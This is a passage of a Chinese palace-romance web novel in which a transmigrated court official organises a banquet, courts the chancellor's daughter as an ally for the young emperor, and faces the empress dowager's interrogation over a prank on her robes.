“这要是在我那,直接报警,给你们俩判个传播□□色情罪。” 将画册随手一扔,云黛倒头就躺下。 不想办宴会,不想教骆明烛那些乱七八糟的玩意,只想躺平。 “其实谋反这条线,我也走不通。”毕竟原身一直处在深宫里,又没什么人脉,更别提拉拢朝臣了。 “那你就按着原书剧情走呗。”系统插了一句。 云黛很疲倦:“让我摆烂一会。” 其实也不是不能走,就是风险太大,搞得不好就是掉脑袋,这其实也没啥,刀子一起一落,很快就死了。 怕的是被折磨。 “我想想……” 云黛翻了个身,被扔到一边的小像落入视线中,恰好翻开到苏棠那张。 女子笑容恬静,小像只描绘了她十分之一的美。 云黛看了会,伸手合上,忽然想到个很好的办法。 既然来的都是世家贵女,那她们的父亲在朝中定然有个一官半职,届时她可以去试探试探,说不定还真能碰上个可以拉拢的。 这么一想,立刻激动起来。 “我可真是个小天才。” 阴郁一扫而空,云黛直接起身,去找绿翘玩。 厨房里正在准备晚膳,云黛在边上看着宫女做,时不时自己去搭把手,宫女起先要拒绝,见她非要干,只好随她去了。 云黛晚上和绿翘一起吃饭,顺便在她那打听消息。 “丞相之女吗?”绿翘仔细想了想,道:“奴婢只听说过丞相千金琴棋书画歌词诗赋样样精通,很不一般。” 云黛想问的不是这个,她暗戳戳问:“那丞相呢,他为人如何?” 这可难到绿翘了,“奴婢并不是很清楚,只晓得丞相大人为人刚正不阿,乃是我朝最受敬重之人。” 说着她张望四周,见没人才凑近小声说:“连太后都要给丞相大人几分薄面。” 云黛一听,这个好啊!这不就是她要找的人! “谢了。” 云黛朝绿翘一笑,美滋滋继续吃饭。 绿翘挠了挠头,不知道她为何笑得这么开心。 沐浴完,云黛边擦头发上的水,边和系统说:“原书里有丞相的戏份吗?” 系统很快回答:“没有,唯一有关联的只有苏棠提了一嘴,她说:‘有父亲在,定然不会叫太后太过为难陛下’。” 云黛一愣,问:“为难什么?” 系统倒回去,把前置剧情说给云黛听:“是快完结那会,骆明烛被袁络仪威胁要杀他时,苏棠这么说的。” “哦……” 总觉得这剧情不太对,怎么小h文还有主角被配角威胁的时候,不过想到结局骆明烛死了,那就没什么奇怪的了。 “先这样,把宴会办起来,到时候我再试试看能不能找几个人拉拢。” 说着她扑到床上,叹息一声:“骆明烛啊骆明烛,你得谢谢我。” 云黛睡了个好觉,第二天自然醒,在床上睁眼躺了会,一骨碌爬起来,要去干活。 不就是策划个聚会嘛,小菜一碟。 等云黛去了才发现根本没有自己想的那么简单,说好的给她派人手,根本没人!还要她自己去各个局打点,不拿出架子来,根本没人理你。 “职场霸凌是吧,等着。” 云黛直接去袁络仪那告状,顺便给不出意外被袁络仪说那是她自己没本事,云黛直接拿宴会说事,顺便扯上骆明烛。 “若是宴会安排不妥,难免耽搁臣教陛下,还请太后多派些人手,臣也好尽快完成,回去继续教陛下。” 袁络仪盯着她看了半晌,倏地笑出来:“既然如此,哀家自然是要帮你的。” 她扫了眼王嬷嬷,在云黛看不见的角度冷了脸。 王嬷嬷领着云黛去给她安排人手,这次倒是没说难听的话,只叫她好好准备。 云黛当然是要好好准备,这事对她来说重要着呢。 所幸没再出岔子,宴席安排得差不多了。 这几日她忙着这事,忘了去骆明烛那,等想起来时,一个激灵,直接去乾坤宫。 小福子一脸幽怨地看着她,但不说话,看得云黛一脸莫名其妙。 “你有什么话要说?” 小福子不说,只让她进去,云黛走了几步,他又说了一句没头没尾的话。 “尚仪大人还是好好想想要怎么和陛下解释吧。” 云黛转头盯着他:“我做了什么要和骆明烛解释?” 小福子哼了一声,扭头不看她。 这种莫名其妙被人说的感觉很是不爽,云黛也不想理他,直接进去,差点以为自己进了小黑屋。 “怎么又把窗户关了?还不点灯。” 云黛刚要去给他开窗户,就听到里头骆明烛在说话。 “尚仪大人今日怎的有空来孤这?” 云黛开了窗,回答他:“我的事情做的差不多了,就来啦。” 想到自己的计划,云黛兴致勃勃走过去,想要说给他听,人还没走到屏风后,就听到骆明烛说的话。 “尚仪大人说的,是召各家千金入宫的宴会吗?” 云黛连连点头,进到屏风后,却没见到往常放置的椅子,骆明烛站在那,目光幽幽。 “对,就是这个。” 她刚要出去搬个椅子来,骆明烛忽然说:“今日去书房吧。” “也行。”书房好啊,书房安全。 云黛直接走出去,未曾注意到身后的人望着自己幽深的目光。 入座后,她迫不及待想要说自己的计划,话还没出口,便被堵住。 “尚仪大人也希望孤纳妃?” 云黛一愣,她不是要说这个啊。 第36章 第36章 一个不够,你还想再加一…… “听说,尚仪大人还帮着太后,举办宴会?” 云黛老实回答:“对,对啊。” 他只静默看着她,眉梢一提,讥笑从他眼中流露出来,不过很快被他收回去,只余下好奇。 “孤想知道,尚仪大人是以何种心情,应下这桩差事的。” 云黛瞪大眼,后知后觉发现到不对劲,正要解释,忽地小福子声音传来,打断了她的话。 “陛下,太后派的人来说,要请您与尚仪大人过去。”小福子敏锐察觉到里头的气氛不对劲,但袁络仪那边的事要紧,不得不说。 “我知道了,她定是要说宴会的事情!” 找到了能跑开的借口,云黛立刻背过身,作势要走,手腕被猛地抓住,轻轻一拉,人又倒了回去,面向骆明烛。 小福子倒吸一口气,连忙转身捂眼,旋即反应过来自己在这也是碍事,直接出去了。 “陛下,尚仪大人,奴才在外面等着。” 骆明烛连个眼神都没给他,只看着云黛,握住她的手不放,窗户是关着的,里头没有光,阴翳笼罩骆明烛,垂下的眼眸里漆黑一片,什么都看不清。 云黛挣扎了一下,没挣开,再一抬头,看到他此刻的表情,心里一个咯噔,惊觉自己落入了狼窝,背后发寒。 从未见过他用这样的眼神看自己,也从未在他眼里看到过这样的眼神,与自己认知中的他,截然不同。 先前她会觉得他单纯好欺负,对他做什么,他也不会计较,更不会露出这样的眼神。 让她心虚,还莫名害怕。 云黛支支吾吾,说了句:“你松开我。” 骆明烛没有松开,反而窝得更紧,还将人往怀里带,在她惊愕的目光中,俯身附耳,盯着她侧颈白皙的肌肤,缓缓吐出一句话:“尚仪大人还没有回答我的问题。” 他的呼吸喷洒在脖颈间,很痒很痒,云黛忍不住伸手去摸,却碰到他的脸颊,指尖一顿,唰的一下收回去。 “你问了什么?” 云黛有点反应不过来,忘了他问了什么问题,正要仔细去想时,脖颈刺痛。 眼角余光被他硬朗的下颌线充满,稍一偏头,能看见他纤长的眼睫,他高挺的鼻梁,再往下,就是含住自己脖颈的唇。 云黛心口狠狠一颤,都没能反应过来。 颈子右侧被他的唇含着,他的齿肆意摸索,叼着她的脖颈就咬,起初根本没收着力道,咬得她痛极了。 下意识挣扎,反而被他双臂禁锢,这下一点空隙都没有,更别提从他手里挣扎开来。 云黛身体本能地去推他,分明以前很好推倒的人,现在像个铁箍一样,根本推不开。更过分的是,他居然一直咬着不放,虽然松了力道,但依旧含着她的脖颈不放。 柔软的唇紧贴她的脖颈,一下一下的含吮,齿间轻轻磨了一下,只是这么做,便引得云黛被咬的地方一阵战栗,迅速向全身蔓延。 她无意识地惊呼一声,身子一软,站不直,被人一把捞到怀里。 骆明烛抵着她的肩头,低低笑了声,“黛姐姐果然……受不住。” 看起来什么抖动,实际上什么都不知道,还要顶着一副游刃有余老道的样子骗他。 比他还要单纯。 骆明烛紧紧抱着她,忽然生出要将自己真实的那面露出来,给她看的冲动。 若是她发现自己的真实面目并不是她想象中的那样,该会是什么表情。 “黛姐姐。” 他下巴抵在云黛肩头,微微张唇,唤她。声音听起来像是在撒娇,叫人想不出要责怪他的想法。 “嗯,嗯?”云黛还没回过神,只觉得自己脖颈全都是他的气息,炽热,难以忽视。 “黛姐姐真的想孤纳妃吗?” 云黛下意识回答:“不想。” 少年天子一愣,瞬间笑出了声,笑声愉悦,少见地没有掩饰自己的笑。 “不想啊……”骆明烛搂着她的手臂收紧,心情前所未有地愉悦。 “那黛姐姐可要,牢牢抓紧孤。” 明明抓紧的人是他,也不给她抱他的机会,他还要这么说,真真是坏极了。 云黛还没将他的话消化,身上桎梏松开,再一抬头,骆明烛已经走出屏风,只能隐约看到个背影。 愣了好一会,才回神,人像是被扔到热水里过了一圈,裸露在外的肌肤全都红了,尤其是被他咬过的位置,热得发烫,根本不能摸。 “他,他刚刚说了什么?” 云黛整个人晕乎乎的,根本不记得骆明烛说了什么。 系统欲言又止,有种不好的预感,它是没有撒谎这个功能的,只能选择假装没听到她问。 下次他俩再单独相处,它就下线,省得被吓到。 “宿主,你再不出去,袁络仪派来的宫女就要说你坏话了。” 云黛哦呦一声,赶紧往外跑。 一见着殿外的人,脚步倏地停下,颇为心虚地移开目光,手心捂着自己脖颈,心一惊。 刚才走得急,没照镜子看骆明烛有没有在自己身上落下痕迹,这要是被他咬出了印子,她要怎么见袁络仪! “系统系统,我脖子上有没有印子?” 系统无语:“我看不到,你应该去问骆明烛。” 云黛哦了一声,根本没有去问。本来就是骆明烛弄的,还要去问他? 呵呵。 好你个骆明烛,胆子大了,连老师都敢啃,你给我等着,我—— “尚仪大人,还不走吗?” 骆明烛转身望着她,眼里含着笑意,视线从她捂着的侧颈滑过,眼底暗色一闪而过,作势就要上前去接她。 云黛赶紧下了台阶,走过去。 却是特意绕到小福子那边,不与骆明烛走在一起。 见状骆明烛挑眉,没说什么。 这一幕发生得很快,宫女只看到云黛愣了会,就走过来,也没发现什么不同寻常的事,向骆明烛说了句话,转身便走。 “太后是想请陛下与云尚仪一同去商议宴会一事。” 骆明烛并未说话,小福子代为回了一句:“太后辛苦了。” 云黛正好听到这句话,没好气地翻了个白眼,袁络仪辛苦个屁,什么都没做,全都让下属去做,她天天问个进度,还要加大工作量,这太后真好当。 永寿宫内,各局主管已经到齐,见云黛跟在骆明烛身后来,神色各异。 她们是知道云黛被袁络仪派去教养骆明烛的,不过这教的是什么,可就不清楚了。 能伺候陛下,也是个好差事。 不过这差事要是给她们,她们可不要。谁知道骆明烛这皇位还能坐多久,骆明烛一倒,他身边的人能有几个有好果子吃。 袁络仪喊骆明烛,说的好听是商议,实际上是通知,根本不给他拒绝的机会,也没有问他的意见。宴会都已经安排好了,他不去也得去。 云黛在边上听着,生起一股无名怒火,待袁络仪吩咐她要好好接待赴宴的世家贵女时,她皮笑肉不笑地说了好。 “臣定然不会让太后失望。” 瞅了袁络仪的衣摆,心里嘟囔,怎么她上次弄的粉末还未生效?难道被发现了? 云黛没有机会再细看袁络仪的衣裳,被赶了出去,连带着其余几位一同出了永寿宫。 她想着在外头等骆明烛出来,被曾经的同事问:“云尚仪此次,可是深得太后信赖,这般重要的宴会交由你来操办,你可得仔细些,千万别出了差错。” 云黛朝她们几个看去,露出笑来:“太后是令我与几位一同操办,这事,可不是只有我一人处理。” 别想把责任全都推她身上,宴会出了事,大家都要倒霉。 那几人不再说,直接离开。 云黛等了会,听到小福子声音,立即去看,骆明烛正巧走出来,一眼对上她看过来的目光,稍稍扬唇。 等他走过来,云黛才低声问:“怎么样,有没有为难你?” 骆明烛轻轻摇了头,见她还要再问,忽地说:“尚仪大人今 日不是要教孤么,先回书房,慢慢教。” 云黛心里急,但也反应过来他们还在袁络仪这,不好再问,嗯了一声,特意说给里头的人听。 “陛下学得很快,臣只需再教几日,陛下定然能完全学会。” 骆明烛意味深长地瞥了她一眼,目不斜视往乾坤宫而去。 他们走后不久,袁络仪回了寝殿,屏退嬷嬷宫女,叫王嬷嬷关上门,她要休息。 窗户阖上,帷幔落下,王嬷嬷叫着宫女出去,自己守在门外候着。 一刻钟后,咔哒一声,后窗开了,袁络仪掀开床幔,朝来人望去,面上浮现笑容。 “你准备得如何了?” 那一身黑色锦袍男人落地,走过来,衣摆上金丝线绣出金蟒纹样。 “放心,一切尽在掌握。” 袁络仪伸出藕臂,勾上男人的腰带,拉着人倒下。 …… 一回到乾坤宫,云黛把骆明烛拉进寝殿,关上门,连小福子都不让进。 “这场宴会我本意不是为了给你选妃子。”云黛立刻解释,“我是另有打算。” 她说完,就见骆明烛盯着自己,也不说话,以为他不相信,想了又想,还是没有将自己的计划说出来。 成功了还好,要是失败了,岂不是让他白白期待了。 “反正我没有那个意思,你爱信不信吧。” 云黛坐下来,低着头,莫名烦躁。 骆明烛哪能看不出她的心思,只是再想看看她担忧自己,想叫她一直关心自己。 结果如何,他不在乎。 “那黛姐姐,有没有人选?” 云黛当即说出来:“苏丞相!” 骆明烛似笑非笑:“黛姐姐确定?” “唉,不是!”云黛摇头,一拍手心,解释道:“是苏丞相千金,苏棠!” “没有其他人吗?” 云黛看着他,瞪大眼,一个不够,你还想再加一个? “没有了,就这个。” 云黛哼哼一声,小声嘟囔:“说不定还成不了呢。” 她本来想说完就走,被骆明烛喊住。 “黛姐姐不是说,今日还要教孤吗?” 云黛想到了他咬自己脖颈,本来恢复过来的脸颊瞬间涨红,冲着他张唇半天,才冒出一句话。 “今日不行,我状态不好,改日,改日再说。” 说完,她落荒而逃。 少年天子含笑看着她跑走的背影,曲指轻轻敲了自己下颔,敛了神色。 “去查查苏相喜好。” 暗卫领命,当即去查。 第37章 两本画册随意被扔到桌上,门开着,房间里没人。 绿翘在门口唤了一声尚仪大人,没见着她人,便走了。 云黛人不在皇宫里。 她借着要去给各家贵女送请帖的名头,出宫去找贺燕林。 “这个你收好。”云黛将请帖给她,问起苏相,“你可知,他有什么喜欢的东西吗?” 贺燕林觉得有些奇怪,倒也没有问,想了想,说:“苏丞相该是喜欢字画。” 云黛哦了一声,若有所思,字画好找,但是名家的字画那可是千金难求,那可不好找。 谢过贺燕林后,她赶着去下一家送请帖,被贺燕林拉住。 贺燕林贼兮兮的,问她:“你和我哥……” 云黛不明所以地看她,示意她继续说。 贺燕林本来是想撮合云黛和自己兄长,但好像这俩人并没有这层意思,那日云黛来过后,贺雁山也未曾再提起过她,想来应该是没有动心思。 她是对云黛有好感,但这俩人对不上,她哪能硬撮合,最终还是没有说。 “没什么,我会去的,届时有什么需要帮忙的地方,尽管与我说。” “那可真是太好了。”云黛巴不得她帮忙呢,那么多贵女,只靠她自己去接触,根本忙不过来。 “那就这么说定了,后日见。” 出了贺府,云黛朝着下一家去送请帖,丞相那边袁络仪特地派了人去,轮不着她。要不然她还能提前接触苏棠。 回宫前,特地去酒楼打包了几样菜,带回去吃。 刚回去便碰见绿翘,绿翘连忙拉着她去房间,关上门,神情紧张。 “奴婢听说,太后要为陛下选妃了?” 云黛点头,将打包的菜端出来,正要招呼绿翘一起吃,听到她说的话,差点把手里里的碗扔出去。 “那尚仪大人你怎么办?陛下与你说过,要对你负责吗?” “负责?” 绿翘点头:“对啊,奴婢之前,看到了一点点。”说着,她向自己脖颈捏了捏,不好意思地捂住了眼。 云黛猛地一按住那天被骆明烛咬的地方,很想就地消失。 怎么会这样!怎么就被看见了! “还有别人看见吗?” 绿翘摇头,“没有,只有奴婢一个,尚仪大人你放心,奴婢定然不会说出去。” 她看云黛尴尬,忍住了要说的话,那天其实是她想去叫云黛去尝尝新做的糕点,但门关着,窗户没关,就看见了。 还是不要说出来了吧,感觉尚仪大人要碎了。 云黛已经僵滞了。 带回来的佳肴忽然就不香了,提起嘴角,呵呵两声,转身朝床上走。 好巧不巧,绿翘本来是跟上去看她,结果看到了她放在桌上的春宫图,一惊,声音不由得高了些,“尚仪大人,您怎么!” 她直接把画册捧着塞到被褥下,云黛不懂她为什么这么紧张,旋即就听她解释说:“这要是被发现宫里的人藏了这东西,会被重罚的!” 云黛哦了一声,不传播就行了吧。 一个激灵站起来,云黛直直望着绿翘,想的却是袁络仪把这玩意给她了,这不就是传播? 她又坐了回去。 袁络仪权力那么大,她传播这玩意也没有人罚她。 云黛将画册往里边藏,喊绿翘去吃饭。 晚上下了一场雨,御花园里头好几株袁络仪喜欢的花被雨水砸得折了,临时又栽了些回去。宴会设在御花园里,没有花,那这宴会可就没什么看头了。 小福子又来请云黛去骆明烛那,说是要授课。 不知怎的,云黛不想去,找了个借口把小福子劝走,自己缩在房间里,乱七八糟想着他要纳妃。 本来这剧情是很久之后才有,现在提前,她还没死,已经和原书剧情很不一样了。 系统让她放宽心,剧情变了,也许她就不会死。 云黛不这么觉得,袁络仪要想完全掌控骆明烛,定然不会让脱离掌控的事发生,一旦有人与骆明烛走得近,必然会处置这人。 现在留着她,估计是为了用她来制造些能控制骆明烛的新把柄。 只希望这次能顺利接近苏棠,拉拢苏相。 这晚云黛睡得不是很安宁,又梦到了骆明烛。 梦里骆明烛起先很乖地坐着,听她说话,后来不知怎的,他就离她越来越近,到后来,直接抱住了她,一直蹭她,黏黏糊糊地喊她黛姐姐,越喊声音越娇,到最后直接压了上来。 云黛猛地惊醒,朦胧的日光透过窗户,落到她眼里,然而眼前没有他。 坏了,她不会是真对骆明烛产生那心思了吧?都做几回春梦了! 醒来后再也睡不着,在床上躺了会,等天亮了,起床洗漱,吃了早饭,就被袁络仪派来的宫女带着去宫门口迎接来赴宴的贵女。 站了半天,才等到第一个来的。 云黛刚要上去接,那宫女先她一步上去,直接将人接走,带着往里去。 她盯着那宫女离开的背影,呵呵一声, 你要来接你就接了,还喊我来,喊我来又不让我接,搞什么。 这点小心思放在正事上,你早就升职了。 云黛翻了个白眼,等了一会,等来了贺燕林。不好与她显露得太过熟稔,只说了几句话,便带她去御花园。 贺燕林也是个聪明的,看出来她在避嫌,半道上说自己寻个宫女去御花园便可,叫她去宫门守着。 隐秘地给云黛一个眼神暗示,云黛看懂,谢过之后,立刻回去。 那宫女不知怎的没回来,正好给了云黛机会,由她来接待。 云黛之前找人打听过,这位苏相千金也喜字画,刻意补了一晚上这方面的知识,真是没想到穿书了还要临时抱佛脚。 苏棠确实人如画中那般,甚至比画像还要好看,言行举止间尽是贵气。 云黛一时间看花了眼,愣着许久都没走动道。 苏棠见她这样,倒没有觉得被冒犯,只因她看过来的眼神,没有男子打量时的油腻,只觉得清爽。 “大人?我们该走了。” 云黛慌忙回神,尴尬咳了两声,“苏小姐这边走。” 本来不该是她去接待,但整个皇宫都知道她被袁络仪贬职,明面上还挂着尚仪的职,实际上权力都被收回,说的好听一点,尊她一声尚仪大人,说的不好听,她就是个婢女。 云黛是不管别人怎么看自己,只要别舞到她头上来。 路上找话题和苏棠聊,一会就将她的性子摸透了一半。她比贺燕林要文静许多,说到令她开心的话题时,也只是掩面抿唇笑,柔柔的,很好相处。 云黛一高兴,不由得多说了些,待她领着人进了御花园,便见贺燕林与先到的贵女在说话。 瞥见她们,那贵女立刻起身行礼,云黛看过她的画像,是户部尚书之女。 人齐了后,袁络仪姗姗来迟,后头跟着骆明烛。 云黛一见到他,立刻转身背对他,还端起茶盏为苏棠倒茶,专装做自己很忙没有看到骆明烛的样子。 少年天子早已锁定她的身影,若无其事地看过去,视线一转,再落到袁络仪身上,没叫人看出半分端倪。 袁络仪一来,所有人起身行礼,云黛也不例外。 说了几句漂亮话,袁络仪坐下,坐的却是主位。 这次云黛没有遮掩,直接望过去,本来以为袁络仪对自己这个儿子多多少少还是会上点心,结果显而易见,她根本不把骆明烛当回事。 说是这场宴席是为了认认各家贵女,也好从里头挑个合适的,实际上是袁络仪自己的显摆宴,根本不管骆明烛。 想起骆明烛身上的伤,云黛气不打一处起,真想现在就让袁络仪下台。 哪有太后坐皇帝位置的。 正气着,对上骆明烛看过来的目光,那眼里似乎在问她,怎么生气了。 云黛移开眼,不看他。 不过一会,袁络仪让她去将端过来的佳酿给各位贵女倒上,云黛笑着说了好,正愁没机会和苏棠单独相处呢。 轮到她给苏棠倒时,她忽然手抖,酒洒到她身上,急急为她擦拭,结果苏棠袖口带到桌上菜肴,一半落到她身上去了。 这下都不用云黛说,苏棠直接请示袁络仪,要去换洗衣裳。 云黛心想这是好机会啊,赶紧说她可以带着苏棠一起。 袁络仪蹙眉,叫了个宫女,跟着她们一起去。 小插曲并未打断众人兴致,待她们离开,话声再起。 云黛带着苏棠去了更衣室,找借口支走宫女,在苏棠于屏风后换衣衫时,说起了自己的目的。 结果苏棠并未吃惊,“在宫门时,我见着尚仪大人,便觉得您应是有事与我说,没想到竟是这件事。” “系统,苏棠好聪明。” 系统想说,那是你表现得太明显了,人家都看出来了。 云黛直接说了,“我有要事要与令尊商议,可否请苏小姐帮忙,为我牵桥搭线,见上令尊一面。” 苏棠换好衣衫,从屏风后走出来,笑道:“尚仪大人言重了,我猜,您是为陛下而来?” 云黛点头。 “我可以帮您与家父说说,但见不见得到,不在我。” 这个云黛还是知道的,只要有机会,她不会放弃。 “那就麻烦你了。” 苏棠又笑:“尚仪大人客气了。” 办完了最要紧的事,云黛浑身轻松,等了会,宫女回来,已经将苏棠弄脏的衣裳洗干净拿回来,云黛叫她晾着,等宴会结束,再给苏棠拿回去。 回了宴席,袁络仪又喊她给贵女们端茶,这次云黛怨气没有之前大,连骆明烛都看出来她心情很好。 端起她倒的茶抿了一口,目光从她身上掠过,转到换了一身衣裳的苏棠身上。 第38章 已经不记得云黛先前说过谁会成为他的妃子,那些都不重要,他想娶谁,只会顺着他的心意,不受任何人影响。 云黛做完袁络仪吩咐的活,找个地方休息,这种宴席,宫女和她都是没地方坐的,只能忙里偷闲。 好不容易不被使唤了,结果袁络仪那边出了事。 王嬷嬷的尖叫响起,叫人来帮忙。 云黛一开始还不明所以,好端端的能出什么事,直到她听见贵女说那边有虫子骤然想起自己曾经干的坏事,一时间不知道是高兴还是担心。 不过看到袁络仪花容失色,急急往后避开,她还是高兴得笑了,怕被发现端倪,云黛使劲掐自己胳膊,忍着不笑。 前几日刚下过雨,空气尚且潮湿,虫蚁都缩起来,现在一嗅到袁络仪身上的气味,纷纷被吸引,往她身上爬。 王嬷嬷叫宫女们驱赶虫蚁,用袖子去扑,这下没个轻重的,砸到袁络仪,气得她怒喝一声,宫女们立刻跪地,不敢再动。 “都是些个没用的东西。” 王嬷嬷呵斥一声,亲自去给袁络仪赶虫子。 云黛嘴角抽了抽,突然咳嗽起来,呛到了。她身边的宫女问道:“尚仪大人,您没事吧?” “我没事,你快去帮太后。” 宫女瞅着那跪了一排的人,摇头不敢去。 云黛真的差点控制不住自己,“系统,你说我那粉末做的是不是绝了,这么多天还有效果。” 系统也觉得好,但还是忍不住担心道:“要是你被发现了怎么办?” “不可能会被发现,这东西我屋子里有没有,再说了,这么多天过去了,她还能查出来?” “而且以袁络仪的性格,不可能会觉得她身边的人有这个胆子害她。最多只会说是天气影响,这才引来虫蚁。” 云黛看着袁络仪狼狈撤下,叫骆明烛留下来陪她们,笑容终于露出来些。 “她自己也熏香,没那么容易找到我。” 袁络仪一走,御花园热闹起来,贵女们说着这几日听来的新鲜事,频频朝骆明烛看去,有几双眼睛就没移开过。 云黛听到了好几个声音,说骆明烛长得好看,是她们见过的最俊的男人。 她其实很想告诉她们,骆明烛身材也很好,但是吧,这种事情说出去,定然会引来一大批人八卦,问你怎么会知道。 只好忍着不说,边听她们说话边给自己剥葡萄吃。 不过一会,宫女过来,说是苏棠请她过去。 云黛一喜,放下葡萄,擦干净手,去了苏棠那。她是想再聊聊字画,云黛有点尴尬,好在昨晚背的那些还没说完,还能再唠唠。 小福子盯着云黛看了好几下,都没见她回头望过来,不由得唉声叹气,这个云黛,一点眼力见都没有,太后走了,她就不知道过来与陛下说说话吗! “陛下,要不奴才去把尚仪大人叫过来?” 他试探着一问,却听骆明烛说了句:“她在那聊得很开心,你叫她过来做什么?” 小福子心道这不是叫过来让你也开心开心,没敢说出来,刚站直了身子,就见骆明烛朝自己招手。 “唤她过来。” 小福子喜笑颜开,哎了一声,立刻去叫人来。 云黛正愁着再编些什么东西来,余光瞥见小福子过来,直接站起来,冲小福子说:“是陛下 让我过去吧?我这就去!” 说着她朝小福子眨了眨眼,给他一个配合自己的眼神,再转身去与苏棠说,苏棠见状,笑着说让她去不用管她。 云黛点头说好,直接和小福子一起骆明烛那。 小福子被她这一连串的动作弄得摸不清头脑,但见她主动要去骆明烛那,自然是高兴的。 “陛下等着你呢!” 云黛一抬头,就见骆明烛独自坐在那,端着茶盏,却也不喝,低着头不知在想些什么。她想了想,问小福子:“陛下最近没出什么事吧。” 这几日为了操办宴会,都没去骆明烛那,上次被他莫名其妙咬了,她还没找他算账。 小福子一听,哎呦一声,那声音委屈的,像是被人骂了一通。 “陛下这几日茶不思饭不想,日日想着尚仪大人来,你倒好,出了乾坤宫,再也没回过头,在外头潇洒,叫陛下苦等。” “胡说!” 云黛急着反驳,声音不自觉大了些,叫边上的女子好奇望过来。 她不好意思地笑了笑,压低声音,拽着小福子的袖口,使劲一拉,扯得他身子一歪,差点摔倒。 “我才没有,我是干正经事去了,你别胡说。” 小福子把衣领往上扯,理好衣袖,哼了一声:“那你可得与陛下去说,与我说有什么用。” 云黛嘿呦一声,“几天不见,你胆子变大了啊,都敢跟我撒气了。” “奴才可没有,尚仪大人不要乱说。” 骆明烛稍一转眸,将两人之间活跃的氛围收进眼底,在他们只有几米距离时,移开视线,转而去看不远处那些新移栽过来的花。 花儿盛放之时,是美的,但也极其容易被摧残。 听着她走近的脚步声,骆明烛缓缓转回视线,目光落在她身上。 “陛下。” 人多眼杂,避免被怀疑,云黛行了礼,待看见他脸上表情时,心一跳,心虚了。 “尚仪大人这些日子,该是很忙吧。” 云黛点点头:“是的是的,挺忙的。” “忙到小福子去请尚仪大人来孤这,都没有时间来。” 云黛总觉得他是在兴师问罪,但是她又没有罪,干嘛要这么问她。她不就是有几天没去他那吗,又不是故意要和他断绝来往。 “宴会结束我就有时间了。” 不远处的贺燕林瞅着这两人,眸光一转,叹了口气。能看得出来云黛与骆明烛相处的方式很不寻常,且她与骆明烛说话时,身上没有那种疏离客气,就像很亲近的朋友一般。 看来兄长是没有机会了。 贺燕林端起茶渣饮了一口,放下茶盏时,恰好对上苏棠的视线,朝她微微一笑,对方也回以笑容。 云黛那边还在和骆明烛说话,说来说去只有一个主题——你为什么不来看我。 “我看!今日宴会结束,我明日就去看陛下!” 少年天子却没有立刻答应,只仰头望着她,什么都不说。 云黛都已经做出让步了,他还那么执拗,深吸一口气,走到他身侧,俯身凑到他耳畔,低声说:“那你那天咬我脖颈是什么意思?我可没有教你咬我。” 她说完就要起身,莫名其妙被什么东西绊了一下,人直接朝着骆明烛摔去。 说真的,云黛是真的没有想到在光天化日之下,在这么人注视中,直直倒进了骆明烛怀里。 脸砸到骆明烛腿上的那一刻,脑海里只有一个念头。 能不能找个地方把她埋了。 “尚仪大人怎的站都站不稳?” 宽大的手掌托着她的脑袋抬起来,云黛看到他眼里的笑不加掩饰地倾泻而出,看得云黛眼花又牙痒痒。 还能是因为什么,就是他使坏弄的。 她是发现了,这人其实没有表面上看起来那么乖,与他关系近了,他胆子变得越来越大,不是偷亲就是咬她,现在还敢绊倒她。 胆子肥了,她该教训教训他了! 不然她怎么当他的老师! 云黛噌的一下站起来,张开口刚要说话,口中忽然落了个甜甜的东西。 “你给我吃了什么?” 骆明烛捏了帕子擦干净指尖,没有说是什么,只问她:“味道如何?” 云黛没两口就吃完了,没尝出味道,只知道很甜,但不腻。 “还有吗?” 骆明烛眉梢一抬,在她期待的目光下,摊开手心,“只这么一颗。” 云黛回味了一下味道,有点遗憾,挺好吃的东西,怎么只有这一颗呢。 小福子在边上看得一清二楚,听到骆明烛说只有一颗时,捂嘴笑。陛下特地带来的,怎么可能只有一颗,怕是陛下为了吊云黛胃口,故意那么说的。 云黛确实还想吃,但又不好意表现得太明显,干脆闭上嘴,不说话了。 骆明烛喊她来可不是让她站在边上当木头人,扫视一圈,视线对上那些看过来的贵女时,她们齐齐偏头移开视线,不敢与他对视。 无他,只因他看过去的眼神,说不上有多和善。 待没什么人看过来时,骆明烛忽然说:“孤那还有,黛姐姐若是喜欢,可以去孤那。” 云黛觉得自己不该被小点心给诱惑了,但心里确实很实诚地想去,却不是因为这东西,于是她点了头,说好。随后欲盖弥彰地对系统说:“我是想吃刚才的点心才去骆明烛那的。” 系统已经见怪不怪了,“你想去就去,不用和我说。” 云黛嘿嘿一笑,心情好了很多。 半个时辰后袁络仪回来了,云黛退到一边,稍稍瞥过去一眼,袁络仪并没有出事,一点小伤都没有,就是吧,心情不太好。 哎嘿,袁络仪心情不好,她心情就好。 散宴时,袁络仪特地叫她去送人。 路上她和贺燕林说了几句话,特地在苏棠出宫时,朝她点了头,苏棠露出笑来。 然而她刚回到自己房间,就被叫去了永寿宫。 十数盏灯将寝殿内照得亮堂堂的,甚至有些刺眼。 地上跪了一排,袁络仪见她来,朝她招手,面上带笑,“云尚仪来了?来帮哀家审审,这群宫女里头,谁胆子大得,都敢在哀家身上动手脚。” 云黛背后发寒,睁着眼,看着那跪了一地的宫女,没想到袁络仪会动手将所有参与布置宴会的人都拎过来审问,甚至还有尚服局的几个人。 她走过去,行了礼,绞尽脑汁要怎么解决这次危机。 第39章 “都来说说,是谁,胆子这么大,竟然敢在太后的衣裳上动手脚!” 王嬷嬷话一出,底下跪着的身子一颤,头低得更低了。 云黛是不可能说出这事是她干的,本来就是为了报复袁络仪,之前袁络仪让她跪了那么久,还把她罚去浣衣局,还关小黑屋,没有暗杀袁络仪已经很不错了。 亏得她心虚的事情干了很多次,这种场面不在话下,虽然是有点担心自己脑袋,但还没到要求饶的地步。 “系统,我们要不要来打个赌。” 系统不想理她:“这是不文明的行为。” 云黛不管系统怎么说,自己说自己的,“你猜袁络仪找不到是谁做的后,就此姑息,还是无差别攻击?” 系统猜:“袁络仪会全都罚一遍。” 云黛也是这么觉得,太后嘛,定然是树立威严的,估计最后的结果会是都惩罚一遍。 她在边上看着王嬷嬷一个个去问,弄得人心惶惶,殿内压抑极了。 云黛本来是想降低存在感的,但袁络仪不让,让她帮着去审问,她只好去了离自己最近的宫女,还没问呢,那宫女猛地抬头,指着她,高声喊道:“是云尚仪!是云尚仪做的!是她要害太后!” 云黛倒也不是有多慌张,拿不出证 据,也奈何不了她。 只是这个宫女和她无冤无仇,为何要指认是她? “哦?”袁络仪眯起眼,审视的目光落到云黛身上,语气微妙:“你可有证据?” 云黛眼睛眨也不眨,只看着面前指着自己的宫女,等着她说。 